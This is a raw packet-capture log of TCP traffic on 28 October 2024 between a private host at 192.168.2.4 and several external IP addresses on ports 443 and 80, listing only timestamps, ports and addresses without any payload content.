Oct 28, 2024 12:22:32.310564995 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.315516949 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.315573931 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.315582037 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.315695047 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.320569992 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.320624113 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.320631027 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.320679903 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.323215961 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.323298931 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.323415041 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.323525906 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.326344967 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.326472044 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.326478004 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.326534033 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.329296112 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.329473019 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.329478979 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.329565048 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.332247019 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.332299948 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.332386971 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.332461119 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.335382938 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.335436106 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.335448027 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.335513115 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.338277102 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.338329077 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.338334084 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.338481903 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.341207981 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.341263056 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.341269970 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.341308117 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.344274998 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.344331026 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.344336987 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.344379902 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.346997976 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.347068071 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.347075939 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.347300053 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.350107908 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.350168943 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.350177050 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.350223064 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.352695942 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.352749109 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.352755070 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.352837086 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.355834007 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.355905056 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.355915070 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.355971098 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.358334064 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.358380079 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.358402014 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.358484983 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.361124039 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.361190081 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.361196995 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.361274004 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.363977909 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.364034891 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.364042044 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.364165068 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.366404057 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.366517067 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.366528034 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.366620064 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.369121075 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.369196892 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.369232893 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.369298935 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.371716022 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.371774912 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.371783972 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.371846914 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.374538898 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.374620914 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.374629021 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.374702930 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.377041101 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.377176046 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.377182961 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.377229929 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.379559994 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.379620075 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.379626989 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.379698992 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.382060051 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.382143021 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.382148981 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.382220984 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.384591103 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.384666920 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.384679079 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.384763002 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.387125015 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.387223005 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.387229919 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.387278080 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.389631987 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.389692068 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.389698982 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.389781952 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.392033100 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.392083883 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.392100096 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.392195940 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.424130917 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.424201965 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.424247980 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.424293995 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.426913977 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.426990986 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.426999092 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.427063942 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.427064896 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.427073956 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.427130938 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.427130938 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.427656889 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.427720070 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.427737951 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.427793980 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.427799940 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.427845955 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.428314924 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.428380013 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.428405046 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.428412914 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.428430080 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.428463936 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.428468943 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.428549051 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.429192066 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.429240942 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.429270029 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.429315090 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.429322004 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.429375887 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.429377079 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.429387093 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.429442883 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.430063009 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.430109978 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.430115938 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.430185080 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.430191040 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.430255890 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.430262089 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.430318117 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.431026936 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.431102991 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.431118965 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.431124926 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.431174994 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.431195021 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.431195021 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.431204081 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.431217909 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.431257010 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.431925058 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.431989908 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.431998014 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.432038069 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.432038069 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.432055950 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.432064056 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.432101965 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.432828903 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.432879925 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.432887077 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.432950020 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.433186054 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.433234930 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.433239937 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.433305979 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.433715105 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.433770895 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.433790922 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.433859110 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.435980082 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.436043978 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.436048985 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.436187029 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.440843105 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.440922022 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.440927982 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.441023111 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.441629887 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.441683054 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.441690922 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.441745043 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.443784952 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.443839073 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.443942070 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.444010973 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.445620060 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.445673943 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.445679903 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.445779085 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.447868109 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.447961092 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.447968006 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.448035002 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.449445009 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.449502945 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.449539900 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.449593067 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.451533079 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.451580048 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.451587915 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.451643944 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.453932047 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.453989983 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.453996897 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.454044104 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.455373049 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.455430031 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.455435991 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.455490112 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.459469080 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.459532022 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.459538937 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.459595919 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.459614038 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.459620953 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.459670067 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.459670067 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.459678888 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.459741116 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.459774971 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.459801912 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.459940910 CET	443	49737	142.250.186.65	192.168.2.4
Oct 28, 2024 12:22:32.460017920 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:32.460017920 CET	49737	443	192.168.2.4	142.250.186.65
Oct 28, 2024 12:22:33.805449009 CET	49738	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:33.811013937 CET	80	49738	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:33.811088085 CET	49738	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:33.811286926 CET	49738	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:33.816694975 CET	80	49738	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:34.677573919 CET	80	49738	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:34.683379889 CET	49738	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:34.688929081 CET	80	49738	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:34.945449114 CET	80	49738	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:34.997068882 CET	49738	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:35.380707979 CET	49739	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:35.380780935 CET	443	49739	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:35.380882978 CET	49739	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:35.386585951 CET	49739	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:35.386610985 CET	443	49739	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:36.058154106 CET	443	49739	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:36.058262110 CET	49739	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:36.165066957 CET	49739	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:36.165121078 CET	443	49739	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:36.165400028 CET	443	49739	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:36.171236038 CET	49739	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:36.211354017 CET	443	49739	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:36.314359903 CET	443	49739	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:36.314404011 CET	443	49739	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:36.314512968 CET	49739	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:36.384987116 CET	49739	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:36.506874084 CET	49738	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:36.512566090 CET	80	49738	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:36.769855022 CET	80	49738	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:36.775470972 CET	49740	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:36.775556087 CET	443	49740	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:36.775671005 CET	49740	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:36.784687996 CET	49740	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:36.784722090 CET	443	49740	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:36.809592962 CET	49738	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:37.391571999 CET	443	49740	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:37.393666983 CET	49740	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:37.393707037 CET	443	49740	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:37.535415888 CET	443	49740	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:37.535456896 CET	443	49740	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:37.535593987 CET	49740	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:37.536086082 CET	49740	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:37.540076017 CET	49738	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:37.541178942 CET	49741	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:37.545947075 CET	80	49738	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:37.546010971 CET	49738	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:37.546606064 CET	80	49741	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:37.546690941 CET	49741	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:37.546799898 CET	49741	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:37.552237034 CET	80	49741	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:38.419373989 CET	80	49741	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:38.421184063 CET	49742	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:38.421267986 CET	443	49742	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:38.421410084 CET	49742	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:38.421768904 CET	49742	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:38.421804905 CET	443	49742	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:38.465929031 CET	49741	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:39.028392076 CET	443	49742	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:39.030493021 CET	49742	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:39.030563116 CET	443	49742	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:39.170938969 CET	443	49742	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:39.170979023 CET	443	49742	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:39.171042919 CET	49742	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:39.171983957 CET	49742	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:39.199606895 CET	49743	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:39.205162048 CET	80	49743	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:39.205241919 CET	49743	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:39.205363989 CET	49743	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:39.210680962 CET	80	49743	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:40.089992046 CET	80	49743	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:40.092161894 CET	49744	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:40.092209101 CET	443	49744	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:40.092305899 CET	49744	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:40.092685938 CET	49744	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:40.092717886 CET	443	49744	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:40.137752056 CET	49743	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:40.923178911 CET	443	49744	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:40.933067083 CET	49744	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:40.933120012 CET	443	49744	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:41.070353985 CET	443	49744	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:41.070415974 CET	443	49744	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:41.070566893 CET	49744	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:41.070959091 CET	49744	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:41.074991941 CET	49743	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:41.076071024 CET	49745	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:41.081023932 CET	80	49743	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:41.081106901 CET	49743	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:41.081470013 CET	80	49745	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:41.081562996 CET	49745	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:41.081641912 CET	49745	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:41.086981058 CET	80	49745	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:41.946176052 CET	80	49745	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:41.947999954 CET	49746	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:41.948091030 CET	443	49746	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:41.948195934 CET	49746	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:41.948553085 CET	49746	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:41.948590994 CET	443	49746	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:41.997100115 CET	49745	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:42.566046000 CET	443	49746	188.114.97.3	192.168.2.4
